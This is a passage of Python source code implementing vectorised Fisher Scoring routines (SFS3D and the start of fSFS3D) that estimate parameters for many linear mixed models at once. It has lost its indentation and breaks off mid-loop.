FisherInfoMat[np.ix_(np.arange(v_iter), np.arange(p),np.arange(p))] = covdldB
# Add dl/dsigma2 dl/dD covariance
for k in np.arange(len(nraneffs)):
# Calculate covariance between sigma2 and D
if ZtZmatdict[k] is None:
covdldsigma2dD,ZtZmatdict[k] = get_covdldDkdsigma23D(k, sigma2, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, vec=True, ZtZmat=None)
else:
covdldsigma2dD,_ = get_covdldDkdsigma23D(k, sigma2, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, vec=True, ZtZmat=ZtZmatdict[k])
# Assign to the relevant block
FisherInfoMat[:,p, FishIndsDk[k]:FishIndsDk[k+1]] = covdldsigma2dD.reshape(FisherInfoMat[:,p, FishIndsDk[k]:FishIndsDk[k+1]].shape)
FisherInfoMat[:,FishIndsDk[k]:FishIndsDk[k+1],p:(p+1)] = FisherInfoMat[:,p:(p+1), FishIndsDk[k]:FishIndsDk[k+1]].transpose((0,2,1))
# Add dl/dD covariance for each pair (k1,k2) of random factors k1 and k2.
for k1 in np.arange(len(nraneffs)):
for k2 in np.arange(k1+1):
# Work out indices of random factor k1 and random factor k2
IndsDk1 = np.arange(FishIndsDk[k1],FishIndsDk[k1+1])
IndsDk2 = np.arange(FishIndsDk[k2],FishIndsDk[k2+1])
#-----------------------------------------------------------------------
# Calculate covariance of derivative with respect to D_k
#-----------------------------------------------------------------------
if permdict[str(k1)+str(k2)] is None:
covdldDk1dDk2,permdict[str(k1)+str(k2)] = get_covdldDk1Dk23D(k1, k2, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, vec=True, perm=None)
else:
covdldDk1dDk2,_ = get_covdldDk1Dk23D(k1, k2, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, vec=True, perm=permdict[str(k1)+str(k2)])
# Add to FImat
FisherInfoMat[np.ix_(np.arange(v_iter), IndsDk1, IndsDk2)] = covdldDk1dDk2
FisherInfoMat[np.ix_(np.arange(v_iter), IndsDk2, IndsDk1)] = FisherInfoMat[np.ix_(np.arange(v_iter), IndsDk1, IndsDk2)].transpose((0,2,1))
# --------------------------------------------------------------------------
# Concatenate paramaters and derivatives together
# --------------------------------------------------------------------------
paramVector = np.concatenate((beta, sigma2.reshape(v_iter,1,1)),axis=1)
derivVector = np.concatenate((dldB, dldsigma2.reshape(v_iter,1,1)),axis=1)
for k in np.arange(len(nraneffs)):
paramVector = np.concatenate((paramVector, mat2vec3D(Ddict[k])),axis=1)
derivVector = np.concatenate((derivVector, mat2vec3D(dldDdict[k])),axis=1)
# --------------------------------------------------------------------------
# Update step
# --------------------------------------------------------------------------
paramVector = paramVector + np.einsum('i,ijk->ijk',lam,np.linalg.solve(forceSym3D(FisherInfoMat), derivVector))
# --------------------------------------------------------------------------
# Get the new parameters
# --------------------------------------------------------------------------
beta = paramVector[:,0:p,:]
sigma2 = paramVector[:,p:(p+1)][:,0,0]
# D as a dictionary
for k in np.arange(len(nraneffs)):
Ddict[k] = makeDnnd3D(vec2mat3D(paramVector[:,FishIndsDk[k]:FishIndsDk[k+1],:]))
# Full version of D (not needed in the 1 random effect 1 random factor case as there
# is only one unique element in D)
if r == 1 and nraneffs[0] == 1:
D = None
else:
D = getDfromDict3D(Ddict, nraneffs, nlevels)
# --------------------------------------------------------------------------
# Recalculate matrices
# --------------------------------------------------------------------------
ete = ssr3D(YtX, YtY, XtX, beta)
Zte = ZtY - (ZtX @ beta)
# --------------------------------------------------------------------------
# Inverse of (I+Z'ZD) multiplied by D
# --------------------------------------------------------------------------
# Inverse of (I+Z'ZD) multiplied by D. If we are looking at a single random
# factor single random effect model DinvIplusZtZD will only hold the diagonal
# elements of D(I+Z'ZD)^(-1)
DinvIplusZtZD = get_DinvIplusZtZD3D(Ddict, D, ZtZ, nlevels, nraneffs)
# Check sigma2 hasn't hit a boundary
sigma2[sigma2<0]=1e-10
# --------------------------------------------------------------------------
# Update the step size and likelihoods
# --------------------------------------------------------------------------
llhcurr = llh3D(n, ZtZ, Zte, ete, sigma2, DinvIplusZtZD,D, Ddict, nlevels, nraneffs, reml, XtX, XtZ, ZtX)
lam[llhprev>llhcurr] = lam[llhprev>llhcurr]/2
# --------------------------------------------------------------------------
# Work out which models converged
# --------------------------------------------------------------------------
# Get indices of converged models
indices_ConAfterIt, indices_notConAfterIt, indices_ConDuringIt, localconverged, localnotconverged = getConvergedIndices(converged_global, (np.abs(llhprev-llhcurr)<tol))
# Update record of converged models
converged_global[indices_ConDuringIt] = 1
# --------------------------------------------------------------------------
# Save parameters from this run
# --------------------------------------------------------------------------
savedparams[indices_ConDuringIt,:,:]=paramVector[localconverged,:,:]
# --------------------------------------------------------------------------
# Update matrices
# --------------------------------------------------------------------------
XtY = XtY[localnotconverged, :, :]
YtX = YtX[localnotconverged, :, :]
YtY = YtY[localnotconverged, :, :]
ZtY = ZtY[localnotconverged, :, :]
YtZ = YtZ[localnotconverged, :, :]
Zte = Zte[localnotconverged, :, :]
ete = ete[localnotconverged, :, :]
# In the one factor, one random effect case we only have the diagonal
# D(I+Z'Z)^(-1) elements because D(I+Z'Z)^(-1) is diagonal in this use
# case.
if r==1 and nraneffs[0]==1:
DinvIplusZtZD = DinvIplusZtZD[localnotconverged, :]
else:
DinvIplusZtZD = DinvIplusZtZD[localnotconverged, :, :]
# Design varies across models
if XtX.shape[0] > 1:
XtX = XtX[localnotconverged, :, :]
ZtX = ZtX[localnotconverged, :, :]
XtZ = XtZ[localnotconverged, :, :]
# In the one factor, one random effect case we only have the diagonal
# Z'Z elements because Z'Z is diagonal in this use case.
if r==1 and nraneffs[0]==1:
ZtZ = ZtZ[localnotconverged, :]
else:
ZtZ = ZtZ[localnotconverged, :, :]
# ----------------------------------------------------------------------
# Update ZtZmat
# ----------------------------------------------------------------------
# ZtZmat
for k in np.arange(len(nraneffs)):
if ZtZmatdict[k] is not None:
ZtZmatdict[k]=ZtZmatdict[k][localnotconverged, :, :]
# Update n
if hasattr(n, "ndim"):
# Check if n varies with model
if n.shape[0] > 1:
if n.ndim == 1:
n = n[localnotconverged]
if n.ndim == 2:
n = n[localnotconverged,:]
if n.ndim == 3:
n = n[localnotconverged,:,:]
# --------------------------------------------------------------------------
# Update step size and log likelihoods
# --------------------------------------------------------------------------
lam = lam[localnotconverged]
llhprev = llhprev[localnotconverged]
llhcurr = llhcurr[localnotconverged]
# --------------------------------------------------------------------------
# Update parameter estimates
# --------------------------------------------------------------------------
beta = beta[localnotconverged, :, :]
sigma2 = sigma2[localnotconverged]
# We don't need this representation of D in the simple case of 1 random
# factor, 1 random effect
if not (r == 1 and nraneffs[0] == 1):
D = D[localnotconverged, :, :]
for k in np.arange(len(nraneffs)):
Ddict[k] = Ddict[k][localnotconverged, :, :]
# --------------------------------------------------------------------------
# Matrices needed later by many calculations
# --------------------------------------------------------------------------
# X transpose e and Z transpose e
Xte = XtY - (XtX @ beta)
Zte = ZtY - (ZtX @ beta)
return(savedparams)
# ============================================================================
#
# This below function performs Simplified Fisher Scoring for multiple Linear
# Mixed Models. It is based on the update rules:
#
# beta = (X'V^(-1)X)^(-1)(X'V^(-1)Y)
#
# sigma2 = e'V^(-1)e/n
#
# for k in {1,...,r};
# vech(D_k) = \theta_f + lam*I(vech(D_k))^(-1) (dl/dvech(D_k))
#
# Where:
# - lam is a scalar stepsize.
# - I(vech(D_k)) is the Fisher Information matrix of vech(D_k).
# - dl/dvech(D_k) is the derivative of the log likelihood of vech(D_k) with
# respect to vech(D_k).
# - e is the residual vector (e=Y-X\beta)
# - V is the matrix (I+ZDZ')
#
# The name "Simplified" here comes from a convention adopted in (Demidenko
# 2014).
#
# ----------------------------------------------------------------------------
#
# This function takes as input;
#
# ----------------------------------------------------------------------------
#
# - `XtX`: X transpose multiplied by X (can vary across models or can be
# fixed across models).
# - `XtY`: X transpose multiplied by Y (varies across models).
# - `XtZ`: X transpose multiplied by Z (can vary across models or can be
# fixed across models).
# - `YtX`: Y transpose multiplied by X (varies across models).
# - `YtY`: Y transpose multiplied by Y (varies across models).
# - `YtZ`: Y transpose multiplied by Z (varies across models).
# - `ZtX`: Z transpose multiplied by X (can vary across models or can be
# fixed across models).
# - `ZtY`: Z transpose multiplied by Y (varies across models).
# - `ZtZ`: Z transpose multiplied by Z (can vary across models or can be
# fixed across models). If we are looking at a random intercept
# design the variable ZtZ only holds the diagonal elements of the
# matrix Z'Z.
# - `nlevels`: A vector containing the number of levels for each factor,
# e.g. `nlevels=[3,4]` would mean the first factor has 3 levels
# and the second factor has 4 levels.
# - `nraneffs`: A vector containing the number of random effects for each
# factor, e.g. `nraneffs=[2,1]` would mean the first factor has
# random effects and the second factor has 1 random effect.
# - `tol`: A scalar tolerance value. Iteration stops once successive
# log-likelihood values no longer exceed `tol`.
# - `n`: The number of observations (can vary across models or can be
# fixed across models).
# - `reml`: Restricted maximum likelihood estimation (currently not implemented)
# Default: False.
#
# ----------------------------------------------------------------------------
#
# And returns:
#
# ----------------------------------------------------------------------------
#
# - `savedparams`: \theta_h in the previous notation; the vector (beta,
# sigma2, vech(D1),...vech(Dr)) for every model.
#
# ============================================================================
def SFS3D(XtX, XtY, ZtX, ZtY, ZtZ, XtZ, YtZ, YtY, YtX, nlevels, nraneffs, tol,n, reml=False):
# ------------------------------------------------------------------------------
# Useful scalars
# ------------------------------------------------------------------------------
# Number of factors, r
r = len(nlevels)
# Number of random effects, q
q = np.sum(np.dot(nraneffs,nlevels))
# Number of fixed effects, p
p = XtX.shape[1]
# Number of models, v
v = XtY.shape[0]
# ------------------------------------------------------------------------------
# Initial estimates
# ------------------------------------------------------------------------------
# Inital beta
beta = initBeta3D(XtX, XtY)
# Work out e'e, X'e and Z'e
Xte = XtY - (XtX @ beta)
Zte = ZtY - (ZtX @ beta)
ete = ssr3D(YtX, YtY, XtX, beta)
# Initial sigma2
sigma2 = initSigma23D(ete, n)
# ------------------------------------------------------------------------------
# Duplication matrices
# ------------------------------------------------------------------------------
dupMatTdict = dict()
for i in np.arange(len(nraneffs)):
dupMatTdict[i] = np.asarray(dupMat2D(nraneffs[i]).todense()).transpose()
# ------------------------------------------------------------------------------
# Inital D
# ------------------------------------------------------------------------------
# Dictionary version
Ddict = dict()
for k in np.arange(len(nraneffs)):
Ddict[k] = makeDnnd3D(initDk3D(k, ZtZ, Zte, sigma2, nlevels, nraneffs, dupMatTdict))
# Full version of D (not needed in the 1 random effect 1 random factor case as there
# is only one unique element in D)
if r == 1 and nraneffs[0] == 1:
D = None
else:
D = getDfromDict3D(Ddict, nraneffs, nlevels)
# ------------------------------------------------------------------------------
# Index variables
# ------------------------------------------------------------------------------
# Work out the total number of paramateres
tnp = np.int32(p + 1 + np.sum(nraneffs*(nraneffs+1)/2))
# Indices for submatrics corresponding to Dks
FishIndsDk = np.int32(np.cumsum(nraneffs*(nraneffs+1)/2) + p + 1)
FishIndsDk = np.insert(FishIndsDk,0,p+1)
# ------------------------------------------------------------------------------
# Obtain D(I+Z'ZD)^(-1)
# ------------------------------------------------------------------------------
# Inverse of (I+Z'ZD) multiplied by D. If we are looking at a single random
# factor single random effect model DinvIplusZtZD will only hold the diagonal
# elements of D(I+Z'ZD)^(-1)
DinvIplusZtZD = get_DinvIplusZtZD3D(Ddict, D, ZtZ, nlevels, nraneffs)
# ------------------------------------------------------------------------------
# Initial lambda and likelihoods
# ------------------------------------------------------------------------------
# Step size lambda
lam = np.ones(v)
# Initial log likelihoods
llhprev = -10*np.ones(XtY.shape[0])
llhcurr = 10*np.ones(XtY.shape[0])
# ------------------------------------------------------------------------------
# Dicts to save repeated computation.
# ------------------------------------------------------------------------------
# This will hold the matrices: Sum_j^{l_k} Z_{i,j}'Z_{i,j}
ZtZmatdict = dict()
for k in np.arange(len(nraneffs)):
ZtZmatdict[k] = None
# This will hold the permutations needed for the covariance between the
# derivatives with respect to k
permdict = dict()
for k in np.arange(len(nraneffs)):
permdict[str(k)] = None
# ------------------------------------------------------------------------------
# Converged models and parameter saving
# ------------------------------------------------------------------------------
# Vector checking if all models converged
converged_global = np.zeros(v)
# Vector of saved parameters which have converged
savedparams = np.zeros((v, np.int32(np.sum(nraneffs*(nraneffs+1)/2) + p + 1),1))
# ------------------------------------------------------------------------------
# Work out D indices (there is one block of D per level)
# ------------------------------------------------------------------------------
Dinds = np.zeros(np.sum(nlevels)+1)
# Loop through and add each index
counter = 0
for k in np.arange(len(nraneffs)):
for j in np.arange(nlevels[k]):
Dinds[counter] = np.concatenate((np.array([0]), np.cumsum(nlevels*nraneffs)))[k] + nraneffs[k]*j
counter = counter + 1
# Last index will be missing so add it
Dinds[len(Dinds)-1]=Dinds[len(Dinds)-2]+nraneffs[-1]
# Make sure indices are ints
Dinds = np.int64(Dinds)
# ------------------------------------------------------------------------------
# Iteration
# ------------------------------------------------------------------------------
nit=0
while np.any(np.abs(llhprev-llhcurr)>tol):
# Update number of iterations
nit = nit + 1
# --------------------------------------------------------------------------
# Update loglikelihood and number of models
# --------------------------------------------------------------------------
# Change current likelihood to previous
llhprev = llhcurr
# Work out how many models are left
v_iter = XtY.shape[0]
# --------------------------------------------------------------------------
# Update beta
# --------------------------------------------------------------------------
# This can be performed faster in the one factor, one random effect case by
# using only the diagonal elements of DinvIplusZtZD
if r == 1 and nraneffs[0] == 1:
# Multiply by Z'X
DinvIplusZtZDZtX = np.einsum('ij,ijk->ijk', DinvIplusZtZD, ZtX)
else:
# Multiply by Z'X
DinvIplusZtZDZtX = DinvIplusZtZD @ ZtX
# Work out X'V^(-1)X and X'V^(-1)Y by dimension reduction formulae
XtiVX = XtX - DinvIplusZtZDZtX.transpose((0,2,1)) @ ZtX
XtiVY = XtY - DinvIplusZtZDZtX.transpose((0,2,1)) @ ZtY
# Calculate beta
beta = np.linalg.solve(XtiVX, XtiVY)
# Update sigma^2
ete = ssr3D(YtX, YtY, XtX, beta)
Zte = ZtY - (ZtX @ beta)
# Make sure n is correct shape
if hasattr(n, "ndim"):
if np.prod(n.shape) > 1:
n = n.reshape(ete.shape)
# --------------------------------------------------------------------------
# Update sigma2
# --------------------------------------------------------------------------
# This can be performed faster in the one factor, one random effect case by
# using only the diagonal elements of DinvIplusZtZD. In the reml version we
# use n-p instead of n.
if r == 1 and nraneffs[0] == 1:
if reml == False:
sigma2 = (1/n*(ete - Zte.transpose((0,2,1)) @ np.einsum('ij,ijk->ijk',DinvIplusZtZD, Zte))).reshape(v_iter)
else:
sigma2 = (1/(n-p)*(ete - Zte.transpose((0,2,1)) @ np.einsum('ij,ijk->ijk',DinvIplusZtZD, Zte))).reshape(v_iter)
else:
if reml == False:
sigma2 = (1/n*(ete - Zte.transpose((0,2,1)) @ DinvIplusZtZD @ Zte)).reshape(v_iter)
else:
sigma2 = (1/(n-p)*(ete - Zte.transpose((0,2,1)) @ DinvIplusZtZD @ Zte)).reshape(v_iter)
# --------------------------------------------------------------------------
# Update D
# --------------------------------------------------------------------------
counter = 0
# Loop though unique blocks of D updating one at a time
for k in np.arange(len(nraneffs)):
#-----------------------------------------------------------------------
# Calculate derivative with respect to D_k
#-----------------------------------------------------------------------
# Work out derivative
if ZtZmatdict[k] is None:
dldDk,ZtZmatdict[k] = get_dldDk3D(k, nlevels, nraneffs, ZtZ, Zte, sigma2, DinvIplusZtZD,None,reml, ZtX, XtX)
else:
dldDk,_ = get_dldDk3D(k, nlevels, nraneffs, ZtZ, Zte, sigma2, DinvIplusZtZD,ZtZmatdict[k],reml, ZtX, XtX)
#-----------------------------------------------------------------------
# Calculate covariance of derivative with respect to D_k
#-----------------------------------------------------------------------
if permdict[str(k)] is None:
covdldDk1dDk2,permdict[str(k)] = get_covdldDk1Dk23D(k, k, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, perm=None)
else:
covdldDk1dDk2,_ = get_covdldDk1Dk23D(k, k, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, perm=permdict[str(k)])
#-----------------------------------------------------------------------
# Work out update amount
#-----------------------------------------------------------------------
update = np.linalg.solve(forceSym3D(covdldDk1dDk2), dupMatTdict[k] @ mat2vec3D(dldDk))
# Multiply by stepsize
update = np.einsum('i,ijk->ijk',lam, update)
# Update D_k
Ddict[k] = makeDnnd3D(vech2mat3D(mat2vech3D(Ddict[k]) + update))
# Add D_k back into D and recompute DinvIplusZtZD (This isn't necessary for the
# one random effect, one random factor use case as D only contains one unique
# element)
if not (r == 1 and nraneffs[0] == 1):
for j in np.arange(nlevels[k]):
D[:, Dinds[counter]:Dinds[counter+1], Dinds[counter]:Dinds[counter+1]] = Ddict[k]
counter = counter + 1
# Inverse of (I+Z'ZD) multiplied by D
DinvIplusZtZD = get_DinvIplusZtZD3D(Ddict, D, ZtZ, nlevels, nraneffs)
# --------------------------------------------------------------------------
# Recalculate matrices
# --------------------------------------------------------------------------
ete = ssr3D(YtX, YtY, XtX, beta)
Zte = ZtY - (ZtX @ beta)
# Check sigma2 hasn't hit a boundary
sigma2[sigma2<0]=1e-10
# --------------------------------------------------------------------------
# Update the step size and log likelihoods
# --------------------------------------------------------------------------
llhcurr = llh3D(n, ZtZ, Zte, ete, sigma2, DinvIplusZtZD,D, Ddict, nlevels, nraneffs, reml, XtX, XtZ, ZtX)
lam[llhprev>llhcurr] = lam[llhprev>llhcurr]/2
# --------------------------------------------------------------------------
# Work out which models converged
# --------------------------------------------------------------------------
# Get indices of converged models
indices_ConAfterIt, indices_notConAfterIt, indices_ConDuringIt, localconverged, localnotconverged = getConvergedIndices(converged_global, (np.abs(llhprev-llhcurr)<tol))
# Record which models converged this iteration
converged_global[indices_ConDuringIt] = 1
# --------------------------------------------------------------------------
# Save parameters from this run
# --------------------------------------------------------------------------
savedparams[indices_ConDuringIt,0:p,:]=beta[localconverged,:,:]
savedparams[indices_ConDuringIt,p:(p+1),:]=sigma2[localconverged].reshape(sigma2[localconverged].shape[0],1,1)
for k in np.arange(len(nraneffs)):
# Get vech form of D_k
vech_Dk = mat2vech3D(Ddict[k][localconverged,:,:])
# Make sure it has correct shape (i.e. shape (num models converged, num
# random effectss for factor k squared, 1))
vech_Dk = vech_Dk.reshape(len(localconverged),nraneffs[k]*(nraneffs[k]+1)//2,1)
savedparams[indices_ConDuringIt,FishIndsDk[k]:FishIndsDk[k+1],:]=vech_Dk
# --------------------------------------------------------------------------
# Update matrices
# --------------------------------------------------------------------------
XtY = XtY[localnotconverged, :, :]
YtX = YtX[localnotconverged, :, :]
YtY = YtY[localnotconverged, :, :]
ZtY = ZtY[localnotconverged, :, :]
YtZ = YtZ[localnotconverged, :, :]
Zte = Zte[localnotconverged, :, :]
ete = ete[localnotconverged, :, :]
# In the one factor, one random effect case we only have the diagonal
# D(I+Z'Z)^(-1) elements because D(I+Z'Z)^(-1) is diagonal in this use
# case.
if r==1 and nraneffs[0]==1:
DinvIplusZtZD = DinvIplusZtZD[localnotconverged, :]
else:
DinvIplusZtZD = DinvIplusZtZD[localnotconverged, :, :]
# Design varies across models
if XtX.shape[0] > 1:
XtX = XtX[localnotconverged, :, :]
ZtX = ZtX[localnotconverged, :, :]
XtZ = XtZ[localnotconverged, :, :]
# In the one factor, one random effect case we only have the diagonal
# Z'Z elements because Z'Z is diagonal in this use case.
if r==1 and nraneffs[0]==1:
ZtZ = ZtZ[localnotconverged, :]
else:
ZtZ = ZtZ[localnotconverged, :, :]
# ----------------------------------------------------------------------
# Update ZtZmat
# ----------------------------------------------------------------------
# ZtZmat
for k in np.arange(len(nraneffs)):
if ZtZmatdict[k] is not None:
ZtZmatdict[k]=ZtZmatdict[k][localnotconverged, :, :]
# Update n
if hasattr(n, "ndim"):
# Check if n varies with model
if n.shape[0] > 1:
if n.ndim == 1:
n = n[localnotconverged]
if n.ndim == 2:
n = n[localnotconverged,:]
if n.ndim == 3:
n = n[localnotconverged,:,:]
# --------------------------------------------------------------------------
# Update step size and log-likelihoods
# --------------------------------------------------------------------------
lam = lam[localnotconverged]
llhprev = llhprev[localnotconverged]
llhcurr = llhcurr[localnotconverged]
# --------------------------------------------------------------------------
# Update parameters
# --------------------------------------------------------------------------
beta = beta[localnotconverged, :, :]
sigma2 = sigma2[localnotconverged]
# We don't need this representation of D in the simple case of 1 random
# factor, 1 random effect
if not (r == 1 and nraneffs[0] == 1):
D = D[localnotconverged, :, :]
for k in np.arange(len(nraneffs)):
Ddict[k] = Ddict[k][localnotconverged, :, :]
return(savedparams)
# ============================================================================
#
# This below function performs full-Simplified Fisher Scoring for multiple
# Linear Mixed Models. It is based on the update rules:
#
# beta = (X'V^(-1)X)^(-1)(X'V^(-1)Y)
#
# sigma2 = e'V^(-1)e/n
#
# for k in {1,...,r};
# vec(D_k) = \theta_f + lam*I(vec(D_k))^+ (dl/dvec(D_k))
#
# Where:
# - lam is a scalar stepsize.
# - I(vec(D_k)) is the Fisher Information matrix of vec(D_k).
# - dl/dvec(D_k) is the derivative of the log likelihood of vec(D_k) with
# respect to vec(D_k).
# - e is the residual vector (e=Y-X\beta)
# - V is the matrix (I+ZDZ')
#
# Note that, as vf(D) is written in terms of 'vec', rather than 'vech',
# (full vector, 'f', rather than half-vector, 'h'), the information matrix
# will have repeated rows (due to vf(D) having repeated entries).
#
# The name "Simplified" here comes from a convention adopted in (Demidenko
# 2014).
#
# ----------------------------------------------------------------------------
#
# This function takes as input;
#
# ----------------------------------------------------------------------------
#
# - `XtX`: X transpose multiplied by X (can vary across models or can be
# fixed across models).
# - `XtY`: X transpose multiplied by Y (varies across models).
# - `XtZ`: X transpose multiplied by Z (can vary across models or can be
# fixed across models).
# - `YtX`: Y transpose multiplied by X (varies across models).
# - `YtY`: Y transpose multiplied by Y (varies across models).
# - `YtZ`: Y transpose multiplied by Z (varies across models).
# - `ZtX`: Z transpose multiplied by X (can vary across models or can be
# fixed across models).
# - `ZtY`: Z transpose multiplied by Y (varies across models).
# - `ZtZ`: Z transpose multiplied by Z (can vary across models or can be
# fixed across models). If we are looking at a random intercept
# design the variable ZtZ only holds the diagonal elements of the
# matrix Z'Z.
# - `nlevels`: A vector containing the number of levels for each factor,
# e.g. `nlevels=[3,4]` would mean the first factor has 3 levels
# and the second factor has 4 levels.
# - `nraneffs`: A vector containing the number of random effects for each
# factor, e.g. `nraneffs=[2,1]` would mean the first factor has
# random effects and the second factor has 1 random effect.
# - `tol`: A scalar tolerance value. Iteration stops once successive
# log-likelihood values no longer exceed `tol`.
# - `n`: The number of observations (can vary across models or can be
# fixed across models).
# - `reml`: Restricted maximum likelihood estimation. Default: False.
#
# ----------------------------------------------------------------------------
#
# And returns:
#
# ----------------------------------------------------------------------------
#
# - `savedparams`: \theta_h in the previous notation; the vector (beta,
# sigma2, vech(D1),...vech(Dr)) for every model.
#
# ============================================================================
def fSFS3D(XtX, XtY, ZtX, ZtY, ZtZ, XtZ, YtZ, YtY, YtX, nlevels, nraneffs, tol, n, reml=False):
# ------------------------------------------------------------------------------
# Useful scalars
# ------------------------------------------------------------------------------
# Number of factors, r
r = len(nlevels)
# Number of random effects, q
q = np.sum(np.dot(nraneffs,nlevels))
# Number of fixed effects, p
p = XtX.shape[1]
# Number of models, v
v = XtY.shape[0]
# ------------------------------------------------------------------------------
# Initial estimates
# ------------------------------------------------------------------------------
# Inital beta
beta = initBeta3D(XtX, XtY)
# Work out e'e, X'e and Z'e
Xte = XtY - (XtX @ beta)
Zte = ZtY - (ZtX @ beta)
ete = ssr3D(YtX, YtY, XtX, beta)
# Initial sigma2
sigma2 = initSigma23D(ete, n)
# ------------------------------------------------------------------------------
# Duplication matrices
# ------------------------------------------------------------------------------
dupMatTdict = dict()
for i in np.arange(len(nraneffs)):
dupMatTdict[i] = np.asarray(dupMat2D(nraneffs[i]).todense()).transpose()
# ------------------------------------------------------------------------------
# Inital D
# ------------------------------------------------------------------------------
# Dictionary version
Ddict = dict()
for k in np.arange(len(nraneffs)):
Ddict[k] = makeDnnd3D(initDk3D(k, ZtZ, Zte, sigma2, nlevels, nraneffs, dupMatTdict))
# Full version of D (not needed in the 1 random effect 1 random factor case as there
# is only one unique element in D)
if r == 1 and nraneffs[0] == 1:
D = None
else:
D = getDfromDict3D(Ddict, nraneffs, nlevels)
# ------------------------------------------------------------------------------
# Index variables
# ------------------------------------------------------------------------------
# Work out the total number of paramateres
tnp = np.int32(p + 1 + np.sum(nraneffs*(nraneffs+1)/2))
# Indices for submatrics corresponding to Dks
FishIndsDk = np.int32(np.cumsum(nraneffs*(nraneffs+1)/2) + p + 1)
FishIndsDk = np.insert(FishIndsDk,0,p+1)
# ------------------------------------------------------------------------------
# Obtain D(I+Z'ZD)^(-1)
# ------------------------------------------------------------------------------
# Inverse of (I+Z'ZD) multiplied by D. If we are looking at a single random
# factor single random effect model DinvIplusZtZD will only hold the diagonal
# elements of D(I+Z'ZD)^(-1)
DinvIplusZtZD = get_DinvIplusZtZD3D(Ddict, D, ZtZ, nlevels, nraneffs)
# ------------------------------------------------------------------------------
# Step size and log likelihoods
# ------------------------------------------------------------------------------
# Step size lambda
lam = np.ones(v)
# Initial log likelihoods
llhprev = -10*np.ones(XtY.shape[0])
llhcurr = 10*np.ones(XtY.shape[0])
# ------------------------------------------------------------------------------
# Dicts to save repeated computation.
# ------------------------------------------------------------------------------
# This will hold the matrices: Sum_j^{l_k} Z_{i,j}'Z_{i,j}
ZtZmatdict = dict()
for k in np.arange(len(nraneffs)):
ZtZmatdict[k] = None
# This will hold the permutations needed for the covariance between the
# derivatives with respect to k
permdict = dict()
for k in np.arange(len(nraneffs)):
permdict[str(k)] = None
# ------------------------------------------------------------------------------
# Converged models and parameter saving
# ------------------------------------------------------------------------------
# Vector checking if all models converged
converged_global = np.zeros(v)
# Vector of saved parameters which have converged
savedparams = np.zeros((v, np.int32(np.sum(nraneffs*(nraneffs+1)/2) + p + 1),1))
# ------------------------------------------------------------------------------
# Work out D indices (there is one block of D per level)
# ------------------------------------------------------------------------------
Dinds = np.zeros(np.sum(nlevels)+1)
counter = 0
# Loop through and add an index for each block of D.
for k in np.arange(len(nraneffs)):
for j in np.arange(nlevels[k]):
Dinds[counter] = np.concatenate((np.array([0]), np.cumsum(nlevels*nraneffs)))[k] + nraneffs[k]*j
counter = counter + 1
# Last index will be missing so add it
Dinds[len(Dinds)-1]=Dinds[len(Dinds)-2]+nraneffs[-1]
# Make sure indices are ints
Dinds = np.int64(Dinds)
# ------------------------------------------------------------------------------
# Iteration
# ------------------------------------------------------------------------------
nit=0
while np.any(np.abs(llhprev-llhcurr)>tol):
# Update number of iterations
nit = nit + 1
# --------------------------------------------------------------------------
# Update loglikelihood and number of models
# --------------------------------------------------------------------------
# Change current likelihood to previous
llhprev = llhcurr
# Work out how many models are left
v_iter = XtY.shape[0]
# --------------------------------------------------------------------------
# Update beta
# --------------------------------------------------------------------------
# This can be performed faster in the one factor, one random effect case by
# using only the diagonal elements of DinvIplusZtZD
if r == 1 and nraneffs[0] == 1:
# Multiply by Z'X
DinvIplusZtZDZtX = np.einsum('ij,ijk->ijk', DinvIplusZtZD, ZtX)
else:
# Multiply by Z'X
DinvIplusZtZDZtX = DinvIplusZtZD @ ZtX
# Work out X'V^(-1)X and X'V^(-1)Y by dimension reduction formulae
XtiVX = XtX - DinvIplusZtZDZtX.transpose((0,2,1)) @ ZtX
XtiVY = XtY - DinvIplusZtZDZtX.transpose((0,2,1)) @ ZtY
# Calculate beta
beta = np.linalg.solve(XtiVX, XtiVY)
# Update sigma^2
ete = ssr3D(YtX, YtY, XtX, beta)
Zte = ZtY - (ZtX @ beta)
# Make sure n is correct shape
if hasattr(n, "ndim"):
if np.prod(n.shape) > 1:
n = n.reshape(ete.shape)
# --------------------------------------------------------------------------
# Update sigma2
# --------------------------------------------------------------------------
# This can be performed faster in the one factor, one random effect case by
# using only the diagonal elements of DinvIplusZtZD. In the reml version we
# use n-p instead of n.
if r == 1 and nraneffs[0] == 1:
if reml == False:
sigma2 = (1/n*(ete - Zte.transpose((0,2,1)) @ np.einsum('ij,ijk->ijk',DinvIplusZtZD, Zte))).reshape(v_iter)
else:
sigma2 = (1/(n-p)*(ete - Zte.transpose((0,2,1)) @ np.einsum('ij,ijk->ijk',DinvIplusZtZD, Zte))).reshape(v_iter)
else:
if reml == False:
sigma2 = (1/n*(ete - Zte.transpose((0,2,1)) @ DinvIplusZtZD @ Zte)).reshape(v_iter)
else:
sigma2 = (1/(n-p)*(ete - Zte.transpose((0,2,1)) @ DinvIplusZtZD @ Zte)).reshape(v_iter)
# --------------------------------------------------------------------------
# Update D
# --------------------------------------------------------------------------
counter = 0
for k in np.arange(len(nraneffs)):
#-----------------------------------------------------------------------
# Calculate derivative with respect to D_k
#-----------------------------------------------------------------------
# Work out derivative
if ZtZmatdict[k] is None:
dldDk,ZtZmatdict[k] = get_dldDk3D(k, nlevels, nraneffs, ZtZ, Zte, sigma2, DinvIplusZtZD,None,reml, ZtX, XtX)
else:
dldDk,_ = get_dldDk3D(k, nlevels, nraneffs, ZtZ, Zte, sigma2, DinvIplusZtZD,ZtZmatdict[k],reml, ZtX, XtX)
#-----------------------------------------------------------------------
# Calculate covariance of derivative with respect to D_k
#-----------------------------------------------------------------------
if permdict[str(k)] is None:
covdldDk1dDk2,permdict[str(k)] = get_covdldDk1Dk23D(k, k, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, vec=True, perm=None)
else:
covdldDk1dDk2,_ = get_covdldDk1Dk23D(k, k, nlevels, nraneffs, ZtZ, DinvIplusZtZD, dupMatTdict, vec=True, perm=permdict[str(k)])
#-----------------------------------------------------------------------
# Work out update amount
#-----------------------------------------------------------------------
update_p = np.linalg.solve(forceSym3D(covdldDk1dDk2), mat2vec3D(dldDk))
# Multiply by stepsize
